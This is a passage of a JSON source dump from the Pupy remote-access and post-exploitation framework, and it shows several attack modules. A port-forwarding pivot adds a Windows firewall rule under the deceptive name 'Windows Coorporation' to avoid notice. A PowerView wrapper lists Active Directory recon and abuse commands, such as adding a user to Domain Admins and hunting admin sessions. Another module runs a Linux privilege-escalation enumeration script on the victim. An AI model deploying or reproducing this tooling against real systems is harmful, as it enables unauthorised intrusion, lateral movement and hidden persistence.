'PORTS']))\n        else:\n            self.error('No connectable ports found')\n\n        self.abort = None\n\n    def interrupt(self):\n        if self.abort:\n            self.abort.set()\n\n        if self.terminated:\n            self.terminated.set()\n"
  },
  {
    "path": "pupy/modules/portfwd.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import (\n    config, PupyModule, PupyArgumentParser,\n    QA_UNSTABLE\n)\n\nimport sys\nimport threading\nimport socket\nimport logging\nimport traceback\nimport time\nimport subprocess\n\nif sys.version_info.major > 2:\n    from socketserver import (\n        BaseRequestHandler, TCPServer,\n        ThreadingMixIn\n    )\nelse:\n    from SocketServer import (\n        BaseRequestHandler, TCPServer,\n        ThreadingMixIn\n    )\n\n__class_name__ = 'PortFwdModule'\n\n\nclass SocketPiper(threading.Thread):\n    def __init__(self, read_sock, write_sock):\n        threading.Thread.__init__(self)\n        self.daemon=True\n        self.read_sock=read_sock\n        self.write_sock=write_sock\n\n    def run(self):\n        try:\n            self.read_sock.setblocking(0)\n            while True:\n                data=\"\"\n                try:\n                    data+=self.read_sock.recv(1000000)\n                    if not data:\n                        break\n                except Exception as e:\n                    if e[0]==9:#errno connection closed\n                        break\n                    if not data:\n                        time.sleep(0.05)\n                    continue\n                self.write_sock.sendall(data)\n        except Exception as e:\n            logging.debug(\"error in socket piper: %s\"%str(traceback.format_exc()))\n        finally:\n            try:\n                self.write_sock.shutdown(socket.SHUT_RDWR)\n                self.write_sock.close()\n            except Exception:\n                pass\n            try:\n                self.read_sock.shutdown(socket.SHUT_RDWR)\n                self.read_sock.close()\n            except Exception:\n                pass\n        logging.debug(\"piper finished\")\n\nclass LocalPortFwdRequestHandler(BaseRequestHandler):\n    def handle(self):\n        DST_ADDR, DST_PORT=self.server.remote_address\n        logging.debug(\"forwarding local addr %s to remote %s \"%(self.server.server_address, self.server.remote_address))\n        rsocket_mod=self.server.rpyc_client.conn.modules.socket\n        rsocket=rsocket_mod.socket(rsocket_mod.AF_INET, rsocket_mod.SOCK_STREAM)\n        rsocket.settimeout(5)\n        try:\n            rsocket.connect((DST_ADDR, DST_PORT))\n        except Exception as e:\n            logging.debug(\"error: %s\"%e)\n            if e[0]==10060:\n                logging.debug(\"unreachable !\")\n            self.request.shutdown(socket.SHUT_RDWR)\n            self.request.close()\n            return\n        logging.debug(\"connection succeeded !\")\n        sp1=SocketPiper(self.request, rsocket)\n        sp2=SocketPiper(rsocket, self.request)\n        sp1.start()\n        sp2.start()\n        sp1.join()\n        sp2.join()\n        logging.debug(\"conn to %s:%s closed\"%(DST_ADDR,DST_PORT))\n\n\nclass LocalPortFwdServer(TCPServer):\n    allow_reuse_address = True\n\n    def __init__(self, server_address, RequestHandlerClass, bind_and_activate=True, rpyc_client=None, remote_address=None):\n        self.rpyc_client=rpyc_client\n        self.remote_address=remote_address\n        TCPServer.__init__(self, server_address, RequestHandlerClass, bind_and_activate)\n\n\nclass ThreadedLocalPortFwdServer(ThreadingMixIn, LocalPortFwdServer):\n    def __str__(self):\n        return \"<LocalPortForward local=%s remote=%s\"%(self.server_address,self.remote_address)\n\n\ndef get_remote_port_fwd_cb(remote_addr, local_addr):\n    def func(rsocket):\n        logging.debug(\"forwarding remote addr %s to local %s \"%(remote_addr, local_addr))\n        lsocket=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        lsocket.settimeout(5)\n        try:\n            lsocket.connect(local_addr)\n        except Exception as e:\n            logging.debug(\"error: %s\"%e)\n            if e[0]==10060:\n                logging.debug(\"unreachable !\")\n            rsocket.shutdown(socket.SHUT_RDWR)\n            rsocket.close()\n            return\n        logging.debug(\"connection succeeded !\")\n        sp1=SocketPiper(lsocket, rsocket)\n        sp2=SocketPiper(rsocket, lsocket)\n        sp1.start()\n        sp2.start()\n        sp1.join()\n        sp2.join()\n        logging.debug(\"conn to %s from %s closed\"%(local_addr, remote_addr))\n\n    return func\n\n@config(cat=\"network\", tags=[\"pivot\",\"forward\"])\nclass PortFwdModule(PupyModule):\n    \"\"\" perform local/remote port forwarding using openssh -L/-R syntax \"\"\"\n    max_clients=1\n    unique_instance=True\n    daemon=True\n    qa = QA_UNSTABLE\n\n    def __init__(self, *args, **kwargs):\n        PupyModule.__init__(self, *args, **kwargs)\n        self.portfwd_dic={}\n        self.current_id=1\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='portfwd', description=cls.__doc__)\n        cls.arg_parser.add_argument('-L', '--local', help=\"Local port forward\")\n        cls.arg_parser.add_argument('-R', '--remote', help=\"Remote port forward\")\n        cls.arg_parser.add_argument('-F', '--force', action='store_true', help=\"Try to open a port without admin rights (it will prompt a pop up to the end user)\")\n        cls.arg_parser.add_argument('-k', '--kill', type=int, metavar=\"<id>\", help=\"stop a port forward\")\n\n    def stop_daemon(self):\n        #TODO\n        pass\n\n    def run(self, args):\n        if args.local:\n            tab=args.local.split(':')\n            local_addr=\"127.0.0.1\"\n            local_port=None\n            remote_addr=None\n            remote_port=None\n\n            if len(tab)==3:\n                local_port, remote_addr, remote_port = tab\n            elif len(tab)==4:\n                local_addr, local_port, remote_addr, remote_port = tab\n            else:\n                self.error(\"usage: -L [<LOCAL_ADDR>]:<LOCAL_PORT>:<REMOTE_ADDR>:<REMOTE_PORT>\")\n                return\n            try:\n                local_port=int(local_port)\n                remote_port=int(remote_port)\n            except Exception:\n                self.error(\"ports must be integers\")\n                return\n            server = ThreadedLocalPortFwdServer((local_addr, local_port), LocalPortFwdRequestHandler, rpyc_client=self.client, remote_address=(remote_addr, remote_port))\n            self.portfwd_dic[self.current_id]=server\n            self.current_id+=1\n            t=threading.Thread(target=server.serve_forever)\n            t.daemon=True\n            t.start()\n            self.success(\"LOCAL %s:%s forwarded to REMOTE %s:%s\"%(local_addr, local_port, remote_addr, remote_port))\n        elif args.remote:\n            tab=args.remote.split(':')\n            remote_addr=\"127.0.0.1\"\n            remote_port=None\n            local_addr=None\n            local_port=None\n\n            if len(tab)==3:\n                remote_port, local_addr, local_port = tab\n            elif len(tab)==4:\n                remote_addr, remote_port, local_addr, local_port = tab\n            else:\n                self.error(\"usage: -R [<REMOTE_ADDR>]:<REMOTE_PORT>:<LOCAL_ADDR>:<LOCAL_PORT>\")\n                return\n            try:\n                local_port=int(local_port)\n                remote_port=int(remote_port)\n            except Exception:\n                self.error(\"ports must be integers\")\n                return\n\n            if \"Windows\" in self.client.desc[\"platform\"]:\n                self.client.load_package(\"pupwinutils.processes\")\n                if self.client.conn.modules['pupwinutils.processes'].isUserAdmin():\n                    # create new firewall rule\n                    cmd = 'netsh advfirewall firewall add rule name=\"Windows Coorporation\" dir=in action=allow protocol=TCP localport=%s' % str(remote_port)\n                    output = self.client.conn.modules.subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT, stdin=subprocess.PIPE)\n                    if 'ok' in output.lower():\n                        self.success(\"Firewall rule created successfully\")\n                else:\n                    if not args.force:\n                        self.error(\"Firewall modification needs admin rights. Try using -F to force to open a port (it will prompt a pop up to the end user)\")\n                        return\n\n            self.client.load_package(\"pupyutils.portfwd\")\n            remote_server = self.client.conn.modules[\"pupyutils.portfwd\"].ThreadedRemotePortFwdServer((remote_addr, remote_port), callback=get_remote_port_fwd_cb((remote_addr, remote_port),(local_addr, local_port)))\n            self.portfwd_dic[self.current_id]=remote_server\n            self.current_id+=1\n            remote_server.start_serve()\n            self.success(\"REMOTE %s:%s forwarded to LOCAL %s:%s\"%(remote_addr, remote_port, local_addr, local_port))\n\n        elif args.kill:\n            if args.kill in self.portfwd_dic:\n\n                if \"Windows\" in self.client.desc[\"platform\"]:\n                    try:\n                        # maybe there is a cleaner way to get the port\n                        tmp = str(self.portfwd_dic[args.kill]).split()\n                        port = int(tmp[len(tmp)-1].replace(')', '').replace('>', ''))\n                        cmd = 'netsh advfirewall firewall delete rule name=\"Windows Coorporation\" protocol=tcp localport=%s' % str(port)\n                        output = self.client.conn.modules.subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT, stdin=subprocess.PIPE)\n                        if 'ok' in output.lower():\n                            self.success(\"Firewall rule deleted successfully\")\n                    except:\n                        self.error(\"Cannot remove the firewall rule\")\n\n                desc=str(self.portfwd_dic[args.kill])\n                self.portfwd_dic[args.kill].shutdown()\n                self.portfwd_dic[args.kill].server_close()\n                del self.portfwd_dic[args.kill]\n                self.success(\"%s stopped !\"%desc)\n            else:\n                self.error(\"no such id: %s\"%args.kill)\n\n        else:\n            if not self.portfwd_dic:\n                self.error(\"There are currently no ports forwarded on %s\"%self.client)\n            else:\n                for cid, server in self.portfwd_dic.items():\n                    self.success(\"%s : %s\"%(cid, server))\n"
  },
  {
    "path": "pupy/modules/powerview.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os\n\nfrom io import open\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib import ROOT\n\n__class_name__=\"Powerview\"\n\n@config(compat=\"windows\", category=\"gather\")\nclass Powerview(PupyModule):\n    \"\"\"\n        execute powerview commands\n    \"\"\"\n    dependencies = {\n        'windows': ['powershell']\n    }\n\n\n    @classmethod\n    def init_argparse(cls):\n\n        cls.commands_available = '''\nCommandes available:\\n\nSet-MacAttribute -FilePath c:\\\\test\\\\newfile -OldFilePath c:\\\\test\\\\oldfile\nSet-MacAttribute -FilePath c:\\\\demo\\\\test.xt -All \"01/03/2006 12:12 pm\"\nSet-MacAttribute -FilePath c:\\\\demo\\\\test.txt -Modified \"01/03/2006 12:12 pm\" -Accessed \"01/03/2006 12:11 pm\" -Created \"01/03/2006 12:10 pm\"\nCopy-ClonedFile -SourceFile program.exe -DestFile \\\\\\\\WINDOWS7\\\\tools\\\\program.exe\nGet-IPAddress -ComputerName SERVER\nConvert-NameToSid 'DEV\\\\dfm'\nConvert-SidToName S-1-5-21-2620891829-2411261497-1773853088-1105\nConvert-NT4toCanonical -ObjectName \"dev\\\\dfm\"\nConvertFrom-UACValue -Value 66176\nGet-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue\nGet-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue -ShowAll\nGet-Proxy\nGet-DomainSearcher -Domain testlab.local\nGet-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local\nGet-NetDomain -Domain testlab.local\nGet-NetForest -Forest external.domain\nGet-NetForestDomain\nGet-NetForestDomain -Forest external.local\nGet-NetForestCatalog\nGet-NetDomainController -Domain test\nGet-NetUser -Domain testing\nGet-NetUser -ADSpath \"LDAP://OU=secret,DC=testlab,DC=local\"\nAdd-NetUser -UserName john -Password 'Password123!'\nAdd-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local\nAdd-NetUser -UserName john -Password password -GroupName \"Domain Admins\" -Domain ''\nAdd-NetUser -UserName john -Password password -GroupName \"Domain Admins\" -Domain 'testing'\nAdd-NetGroupUser -UserName john -GroupName Administrators\nAdd-NetGroupUser -UserName john -GroupName \"Domain Admins\" -Domain dev.local\nGet-UserProperty -Domain testing\nGet-UserProperty -Properties ssn,lastlogon,location\nFind-UserField -SearchField info -SearchTerm backup\nGet-UserEvent -ComputerName DomainController.testlab.local\nGet-ObjectAcl -SamAccountName matt.admin -domain testlab.local\nGet-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs\nInvoke-ACLScanner -ResolveGUIDs | Export-CSV -NoTypeInformation acls.csv\nGet-NetComputer\nGet-NetComputer -SPN mssql*\nGet-NetComputer -Domain testing\nGet-NetComputer -Domain testing -FullData\nGet-ADObject -SID \"S-1-5-21-2620891829-2411261497-1773853088-1110\"\nGet-ADObject -ADSpath \"CN=AdminSDHolder,CN=System,DC=testlab,DC=local\"\nSet-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0\nSet-ADObject -SamAccountName matt.admin -PropertyName useraccountcontrol -PropertyXorValue 65536\nGet-ComputerProperty -Domain testing\nGet-ComputerProperty -Properties ssn,lastlogon,location\nFind-ComputerField -SearchTerm backup -SearchField info\nGet-NetOU\nGet-NetOU -OUName *admin* -Domain testlab.local\nGet-NetOU -GUID 123-...\nGet-NetSite -Domain testlab.local -FullData\nGet-NetSubnet\nGet-NetSubnet -Domain testlab.local -FullData\nGet-NetGroup\nGet-NetGroup -GroupName *admin*\nGet-NetGroup -Domain testing -FullData\nGet-NetGroupMember\nGet-NetGroupMember -Domain testing -GroupName \"Power Users\"\nGet-NetFileServer\nGet-NetFileServer -Domain testing\nGet-DFSshare\nGet-DFSshare -Domain test\nGet-GptTmpl -GptTmplPath \"\\\\\\\\dev.testlab.local\\\\sysvol\\\\dev.testlab.local\\\\Policies\\\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\\\MACHINE\\\\Microsoft\\\\Windows NT\\\\SecEdit\\\\GptTmpl.inf\"\nGet-NetGPO -Domain testlab.local\nGet-NetGPOGroup\nFind-GPOLocation -UserName dfm\nFind-GPOLocation -UserName dfm -Domain dev.testlab.local\nFind-GPOLocation -UserName jason -LocalGroup RDP\nFind-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local\nFind-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local -LocalGroup RDP\nGet-NetGPO\nGet-NetLocalGroup\nGet-NetLocalGroup -ComputerName WINDOWSXP\nGet-NetLocalGroup -ComputerName WINDOWS7 -Resurse\nGet-NetLocalGroup -ComputerName WINDOWS7 -ListGroups\nGet-NetShare\nGet-NetShare -ComputerName sqlserver\nGet-NetLoggedon\nGet-NetLoggedon -ComputerName sqlserver\nGet-NetSession\nGet-NetSession -ComputerName sqlserver\nGet-NetRDPSession\nGet-NetRDPSession -ComputerName \"sqlserver\"\nInvoke-CheckLocalAdminAccess -ComputerName sqlserver\nGet-LastLoggedOn\nGet-LastLoggedOn -ComputerName WINDOWS1\nGet-CachedRDPConnection\nGet-CachedRDPConnection -ComputerName WINDOWS2.testlab.local\nGet-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -RemoteUserName DOMAIN\\\\user -RemotePassword Password123!\nGet-NetProcess -ComputerName WINDOWS1\nFind-InterestingFile -Path C:\\\\Backup\\\\\nFind-InterestingFile -Path \\\\\\\\WINDOWS7\\\\Users\\\\ -Terms salaries,email -OutFile out.csv\nFind-InterestingFile -Path \\\\\\\\WINDOWS7\\\\Users\\\\ -LastAccessTime (Get-Date).AddDays(-7)\nInvoke-UserHunter -CheckAccess\nInvoke-UserHunter -Domain 'testing'\nInvoke-UserHunter -Threads 20\nInvoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt\nInvoke-UserHunter -GroupName \"Power Users\" -Delay 60\nInvoke-UserHunter -TargetServer FILESERVER\nInvoke-UserHunter -SearchForest\nInvoke-UserHunter -Stealth\nInvoke-ProcessHunter -Domain 'testing'\nInvoke-ProcessHunter -Threads 20\nInvoke-ProcessHunter -UserFile users.txt -ComputerFile hosts.txt\nInvoke-ProcessHunter -GroupName \"Power Users\" -Delay 60\nInvoke-EventHunter\nInvoke-ShareFinder -ExcludeStandard\nInvoke-ShareFinder -Threads 20\nInvoke-ShareFinder -Delay 60\nInvoke-ShareFinder -ComputerFile hosts.txt\nInvoke-FileFinder\nInvoke-FileFinder -Domain testing\nInvoke-FileFinder -IncludeC\nInvoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv\nFind-LocalAdminAccess\nFind-LocalAdminAccess -Threads 10\nFind-LocalAdminAccess -Domain testing\nFind-LocalAdminAccess -ComputerFile hosts.txt\nGet-ExploitableSystem -DomainController 192.168.1.1 -Credential demo.com\\\\user | Format-Table -AutoSize\nGet-ExploitableSystem | Export-Csv c:\\\\temp\\\\output.csv -NoTypeInformation\nGet-ExploitableSystem -Domain testlab.local -Ping\nInvoke-EnumerateLocalAdmin\nInvoke-EnumerateLocalAdmin -Threads 10\nGet-NetDomainTrust\nGet-NetDomainTrust -Domain \"prod.testlab.local\"\nGet-NetDomainTrust -Domain \"prod.testlab.local\" -DomainController \"PRIMARY.testlab.local\"\nGet-NetForestTrust\nGet-NetForestTrust -Forest \"test\"\nInvoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv\n'''\n        cls.arg_parser = PupyArgumentParser(prog=\"Powerview\", description=cls.__doc__)\n        cls.arg_parser.add_argument(\"-o\", metavar='COMMAND', dest='command')\n        cls.arg_parser.add_argument(\"-1\", '--once', action='store_true', help='Unload after execution')\n        cls.arg_parser.add_argument(\"-l\", \"--list-available-commands\", action='store_true', help=\"list all available commands\")\n\n        cls.arg_parser.add_argument(\"--Get-Proxy\", dest='GetProxy', action='store_true', help='Returns proxy configuration')\n        cls.arg_parser.add_argument(\"--Get-NetComputer\", dest='GetNetComputer', action='store_true', help='Returns the current computers in current domain')\n        cls.arg_parser.add_argument(\"--Get-NetMssql\", dest='GetNetMssql', action='store_true', help=\"Returns all MS SQL servers on the domain\")\n        cls.arg_parser.add_argument(\"--Get-NetSubnet\", dest='GetNetSubnet', action='store_true', help=\"Returns all subnet names in the current domain\")\n        cls.arg_parser.add_argument(\"--Get-NetGroup\", dest='GetNetGroup', action='store_true', help=\"Returns the current groups in the domain\")\n        cls.arg_parser.add_argument(\"--Get-NetGroup-with\", dest='GetNetGroupWith', help=\"Returns all groups with '*GROUPNAME*' in their group name\")\n        cls.arg_parser.add_argument(\"--Get-NetGroupMember\", dest='GetNetGroupMember', action='store_true', help=\"Returns the usernames that of members of the 'Domain Admins' domain group\")\n        cls.arg_parser.add_argument(\"--Get-NetFileServer\", dest='GetNetFileServer', action='store_true', help=\"Returns active file servers\")\n        cls.arg_parser.add_argument(\"--Get-DFSshare\", dest='GetDFSshare', action='store_true', help=\"Returns all distributed file system shares for the current domain\")\n        cls.arg_parser.add_argument(\"--Get-NetGPO\", dest='GetNetGPO', action='store_true', help=\"Returns the GPOs in domain\")\n        cls.arg_parser.add_argument(\"--Get-NetGPOGroup\", dest='GetNetGPOGroup', action='store_true', help=\"Returns all GPOs that set local groups on the current domain\")\n        cls.arg_parser.add_argument(\"--Find-GPOLocation\", dest='FindGPOLocation', help=\"Find all computers that this user has local administrator rights to in the current domain\")\n        cls.arg_parser.add_argument(\"--Get-NetLocalGroup\", dest='GetNetLocalGroup', action='store_true', help=\"Returns the usernames that of members of localgroup 'Administrators' on the local host\")\n        cls.arg_parser.add_argument(\"--Get-NetLoggedon\", dest='GetNetLoggedon', action='store_true', help=\"Returns users actively logged onto the local host\")\n        cls.arg_parser.add_argument(\"--Get-NetLoggedon-on\", dest='GetNetLoggedonOn', help=\"Returns users actively logged onto this remote host\")\n        cls.arg_parser.add_argument(\"--Get-NetSession\", dest='GetNetSession', action='store_true', help=\"Returns active sessions on the local host\")\n        cls.arg_parser.add_argument(\"--Get-NetSession-on\", dest='GetNetSessionOn', help=\"Returns active sessions on this remote host\")\n        cls.arg_parser.add_argument(\"--Get-NetRDPSession\", dest='GetNetRDPSession', action='store_true', help=\"Returns active RDP/terminal sessions on the local host\")\n        cls.arg_parser.add_argument(\"--Get-NetRDPSession-on\", dest='GetNetRDPSessionOn', help=\"Returns active RDP/terminal sessions on this remote host\")\n        cls.arg_parser.add_argument(\"--Get-LastLoggedOn\", dest='GetLastLoggedOn', action='store_true', help=\"Returns the last user logged onto the local machine\")\n        cls.arg_parser.add_argument(\"--Get-LastLoggedOn-on\", dest='GetLastLoggedOnOn', help=\"Returns the last user logged onto this remote machine\")\n        cls.arg_parser.add_argument(\"--Invoke-UserHunter-check\", dest='InvokeUserHunterCheck', action='store_true', help=\"Finds machines on the local domain where domain admins are logged into and checks if the current user has local administrator access\")\n        cls.arg_parser.add_argument(\"--Invoke-UserHunter-forest\", dest='InvokeUserHunterForest', action='store_true', help=\"Find all machines in the current forest where domain admins are logged in\")\n        cls.arg_parser.add_argument(\"--Get-ExploitableSystem\", dest='GetExploitableSystem', action='store_true', help=\"Query Active Directory for the hostname, OS version, and service pack level for each computer account (cross-referenced against a list of common Metasploit exploits)\")\n\n    def run(self, args):\n        script = 'powerview'\n        command = \"\"\n        if args.list_available_commands:\n            self.log(self.commands_available)\n            return\n\n        powershell = self.client.conn.modules['powershell']\n\n        if not powershell.loaded(script):\n            with open(os.path.join(ROOT, 'external', 'PowerSploit', 'Recon', 'PowerView.ps1'), 'r') as content:\n                width, _ = self.iogroup.consize\n                powershell.load(script, content.read(), width=width)\n\n        if args.GetProxy:\n            command = \"Get-Proxy\"\n        if args.GetNetComputer:\n            command = \"Get-NetComputer\"\n        elif args.GetNetMssql:\n            command = \"Get-NetComputer -SPN mssql*\"\n        elif args.GetNetSubnet:\n            command = \"Get-NetSubnet\"\n        elif args.GetNetGroup:\n            command = \"Get-NetGroup\"\n        elif args.GetNetGroupWith is not None:\n            command = \"Get-NetGroup -GroupName *{0}* -FullData\".format(args.GetNetGroupWith)\n        elif args.GetNetGroupMember:\n            command = \"Get-NetGroupMember\"\n        elif args.GetNetFileServer:\n            command = \"Get-NetFileServer\"\n        elif args.GetDFSshare:\n            command = \"Get-DFSshare\"\n        elif args.GetNetGPO:\n            command = \"Get-NetGPO\"\n        elif args.GetNetGPOGroup:\n            command = \"Get-NetGPOGroup\"\n        elif args.FindGPOLocation is not None:\n            command = \"Find-GPOLocation -UserName {0}\".format(args.FindGPOLocation)\n        elif args.GetNetLocalGroup:\n            command = \"Get-NetLocalGroup\"\n        elif args.GetNetLoggedon:\n            command = \"Get-NetLoggedon\"\n        elif args.GetNetLoggedonOn is not None:\n            command = \"Get-NetLoggedon -ComputerName {0}\".format(args.GetNetLoggedonOn)\n        elif args.GetNetSession:\n            command = \"Get-NetSession\"\n        elif args.GetNetSessionOn is not None:\n            command = \"Get-NetSession -ComputerName {0}\".format(args.GetNetSessionOn)\n        elif args.GetNetRDPSession:\n            command = \"Get-NetRDPSession\"\n        elif args.GetNetRDPSessionOn is not None:\n            command = \"Get-NetRDPSession -ComputerName {0}\".format(args.GetNetRDPSessionOn)\n        elif args.GetLastLoggedOn:\n            command = \"Get-LastLoggedOn\"\n        elif args.GetLastLoggedOnOn is not None:\n            command = \"Get-LastLoggedOn -ComputerName {0}\".format(args.GetLastLoggedOnOn)\n        elif args.InvokeUserHunterCheck:\n            command = \"Invoke-UserHunter -CheckAccess\"\n        elif args.InvokeUserHunterForest:\n            command = \"Invoke-UserHunter -SearchForest\"\n        elif args.GetExploitableSystem:\n            command = \"Get-ExploitableSystem  | Format-Table -AutoSize\"\n        if command == \"\":\n            if args.command is None:\n                self.error(\"You have to choose a powerview command!\")\n                return\n            else:\n                command = args.command\n\n        self.log(\"Executing the following powerview command: {}\".format(command))\n        output, rest = powershell.call(script, command)\n        if args.once:\n            powershell.unload(script)\n\n        if not output and not rest:\n            self.error(\"No results\")\n            return\n        else:\n            if rest:\n                self.error(rest)\n            if output:\n                self.log(output)\n"
  },
  {
    "path": "pupy/modules/privesc_checker.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport os\nimport subprocess\n\nfrom io import open\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib import ROOT\n\n__class_name__=\"PrivEsc_Checker\"\n\n@config(compat=\"linux\", category=\"privesc\")\nclass PrivEsc_Checker(PupyModule):\n    \"\"\" Linux Privilege Escalation Scripts \"\"\"\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"PrivEsc_Checker\", description=cls.__doc__)\n        cls.arg_parser.add_argument(\"--linenum\", dest='linenum', action='store_true', help=\"Run Linenum sh script (https://github.com/rebootuser/LinEnum)\")\n        cls.arg_parser.add_argument(\"--thorough-tests\", dest='thoroughtests', action='store_true', help=\"Run script with all options (can take time)\")\n        cls.arg_parser.add_argument(\"--output-file\", dest='outputfile', default=None, help=\"Store results in this file\")\n        cls.arg_parser.add_argument(\"--shell\", dest='shell', default=\"/bin/bash\", help=\"Shell to use when it is a .sh script\")\n\n    def run(self, args):\n        if args.linenum:\n            self.success(\"Running Lineum sh script on the target with the {0} shell on the target...\".format(args.shell))\n            if not self.client.conn.modules.os.path.isfile(args.shell):\n                self.error(\"{0} does not exist on the target's system!\".format(args.shell))\n                self.error(\"You have to choose a valid shell\")\n                return -1\n            code = open(os.path.join(ROOT, \"external\", \"linenum\", \"linenum.sh\"), 'r').read()\n            #output = self.client.conn.modules.subprocess.check_output(code, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True)\n            if args.thoroughtests:\n                self.success(\"Thorough tests enabled! Can take time...\")\n                code = \"thorough=1;\\n\"+code\n            self.success(\"Lineum script started...\")\n            p = self.client.conn.modules.subprocess.Popen(code, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True, executable=args.shell)\n            output, err = p.communicate()\n            self.success(\"Lineum script finished\")\n            if args.outputfile is not None:\n                self.writeInFile(args.outputfile, output)\n                self.success(\"You can use the following command on Linux for reading this file: less -r {0}\".format(args.outputfile))\n            else:\n                self.success(\"Results of the Lineum script:\")\n                print(output)\n        else:\n            self.error(\"You have to choose a script\")\n            return -1\n\n    def writeInFile(self,filename, data):\n        '''\n        '''\n        self.success(\"Results are written in the file {0}\".format(filename))\n        f = open(filename, 'w')\n        f.write(data)\n        f.close()\n"
  },
  {
    "path": "pupy/modules/process_kill.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__=\"KillModule\"\n\n@config(cat=\"general\")\nclass KillModule(PupyModule):\n    \"\"\" kill a process \"\"\"\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"kill\", description=cls.__doc__)\n        cls.arg_parser.add_argument('-s', '--signal', type=int, default=9, help='signal code (non windows)')\n        cls.arg_parser.add_argument('pids', type=int, nargs='+', help='pids to kill')\n\n    def run(self, args):\n        kill = self.client.remote('os', 'kill', False)\n\n        for pid in args.pids:\n            try:\n                kill(pid, args.signal)\n                self.success('Killed: {} (sig={})'.format(pid, args.signal))\n\n            except Exception as e:\n                self.error('Failed: {}: {}'.format(pid, e))\n"
  },
  {
    "path": "pupy/modules/ps.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Color, TruncateToTerm, MultiPart, Table\nfrom pupy.modules.lib import size_human_readable\n\nimport sys\nimport logging\nimport re\n\n__class_name__ = 'PsModule'\n\nADMINS = (r'SYSTEM', 'root')\n\nif sys.version_info.major > 2:\n    basestring = str\n    unicode = str\n\n\nclass Key(str):\n    weights = ('id', 'key', 'PROPERTY', 'VAR', 'TYPE')\n\n    def __lt__(self, other):\n        if self not in self.weights:\n            if other in self.weights:\n                return False\n            else:\n                return str.__lt__(self, other)\n        elif other not in self.weights:\n            if self in self.weights:\n                return True\n            else:\n                return str.__lt__(self, other)\n        else:\n            this_weight = self.weights.index(self)\n            other_weight = self.weights.index(other)\n            return this_weight < other_weight\n\n\n\ndef gen_colinfo(data):\n    colinfo = {'pid': 0}\n    for pid in data:\n        pid_len = len(str(pid))\n        if colinfo['pid'] < pid_len:\n            colinfo['pid'] = pid_len\n        for column in data[pid]:\n            if '_percent' in column:\n                colinfo[column] = 4\n                continue\n\n            if type(data[pid][column]) not in (basestring, int, float):\n                continue\n\n            # fix ascii encode errors\n            if isinstance(data[pid][column], str):\n                pass\n\n            # Will never be here in Py3\n            elif isinstance(data[pid][column], unicode):\n                data[pid][column] = data[pid][column].encode('utf8', 'replace')\n\n            elif not isinstance(data[pid][column], str):\n                data[pid][column] = str(data[pid][column])\n\n            if isinstance(data[pid][column], bytes):\n                # Will never be here in Py3\n                col_len = len(data[pid][column].decode('utf8', 'replace'))\n            else:\n                col_len = len(data[pid][column])\n\n            if column not in colinfo:\n                colinfo[column] = col_len\n            else:\n                if colinfo[column] < col_len:\n                    colinfo[column] = col_len\n\n    return colinfo\n\n\ndef to_string(value):\n    if isinstance(value, unicode):\n        return value\n    elif not isinstance(value, str):\n        return unicode(value)\n\n    # Will never be here in Py3\n    try:\n        return value.decode('utf-8')\n    except:\n        return value.decode('latin1')\n\n\ndef gen_columns(record, colinfo=None):\n    columns = {}\n\n    if type(record['cmdline']) is not list:\n        record['cmdline'] = [record['cmdline']]\n\n    columns['name'] = record.get('name') or '?'\n    columns['cmdline'] = ' '.join([\n        x for x in record['cmdline'][1:] if x.strip()\n    ]) if record.get('cmdline') else ''\n    columns['exe'] = record.get('exe') or '{{{}}}'.format(columns['name'])\n    columns['username'] = record.get('username') or ''\n    cpu = record.get('cpu_percent')\n    columns['cpu_percent'] = '{:3}%'.format(int(cpu)) if cpu is not None else ' '*4\n    mem = record.get('memory_percent')\n    columns['memory_percent'] = '{:3}%'.format(int(mem)) if mem is not None else ' '*4\n    columns['terminal'] = record.get('terminal') or ''\n\n    if 'pid' not in record:\n        return columns\n\n    if colinfo:\n        if 'username' in colinfo:\n            username = columns['username']\n            if isinstance(username, bytes):\n                username = username.decode('utf-8')\n            columns['username'] = 